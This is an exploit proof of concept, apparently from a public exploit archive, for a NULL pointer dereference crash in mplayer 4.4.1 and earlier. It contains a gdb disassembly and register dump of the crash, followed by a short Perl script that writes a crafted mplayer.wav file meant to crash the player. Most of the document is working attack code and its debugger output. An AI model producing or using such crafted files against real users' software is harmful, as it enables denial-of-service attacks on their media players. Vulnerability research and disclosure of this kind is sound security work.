Mplayer 4.4.1 NULL Pointer Dereference

`# Exploit Title: mplayer <= 4.4.1 NULL pointer dereference exploit poc 0 day  
# Date: 17/03/2010  
# Author: Pietro Oliva  
# Software Link:   
# Version: <= 4.4.1  
# Tested on: ubuntu 9.10 but should work in windows too  
# CVE :   
  
#Program received signal SIGSEGV, Segmentation fault.  
#0x081176d8 in af_calc_filter_multiplier ()  
#(gdb) disas af_calc_filter_multiplier   
#Dump of assembler code for function af_calc_filter_multiplier:  
#0x081176d0 <af_calc_filter_multiplier+0>: push %ebp  
#0x081176d1 <af_calc_filter_multiplier+1>: mov %esp,%ebp  
#0x081176d3 <af_calc_filter_multiplier+3>: fld1   
#0x081176d5 <af_calc_filter_multiplier+5>: mov 0x8(%ebp),%eax  
#0x081176d8 <af_calc_filter_multiplier+8>: mov (%eax),%eax ==> mplayer tries to dereference eax, which is a NULL pointer!!!   
#0x081176da <af_calc_filter_multiplier+10>: lea 0x0(%esi),%esi  
#0x081176e0 <af_calc_filter_multiplier+16>: fmull 0x28(%eax)  
#0x081176e3 <af_calc_filter_multiplier+19>: mov 0x18(%eax),%eax  
#0x081176e6 <af_calc_filter_multiplier+22>: test %eax,%eax  
#0x081176e8 <af_calc_filter_multiplier+24>: jne 0x81176e0 <af_calc_filter_multiplier+16>  
#0x081176ea <af_calc_filter_multiplier+26>: pop %ebp  
#0x081176eb <af_calc_filter_multiplier+27>: ret   
#End of assembler dump.  
  
# REGISTERS:  
#eax 0x0 0 ==========> NULL  
#ecx 0xfa157a57 -99255721  
#edx 0x1fe0 8160  
#ebx 0x8509a08 139500040  
#esp 0xbfffe2e8 0xbfffe2e8  
#ebp 0xbfffe2e8 0xbfffe2e8  
#esi 0x7b84000 129515520  
#edi 0xf8000 1015808  
#eip 0x81176d8 0x81176d8 <af_calc_filter_multiplier+8>  
#eflags 0x10216 [ PF AF IF RF ]  
#cs 0x73 115  
#ss 0x7b 123  
#ds 0x7b 123  
#es 0x7b 123  
#fs 0x0 0  
#gs 0x33 51  
  
  
  
#!/usr/bin/perl  
  
print "[+] mplayer <= 4.4.1 NULL pointer dereference exploit poc 0 day by Pietro Oliva\n";  
print "[+] pietroliva[at]gmail[dot]com http://olivapietro.altervista.org\n";  
print "[+] creating crafted file mplayer.wav\n";  
$buffer="\x52\x49\x46\x46\x1f\x04\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20\x10\x00\x00\x00\x01\x00\x1f";  
open(file,"> mplayer.wav");  
print(file $buffer);  
print "[+] done!\n";  
`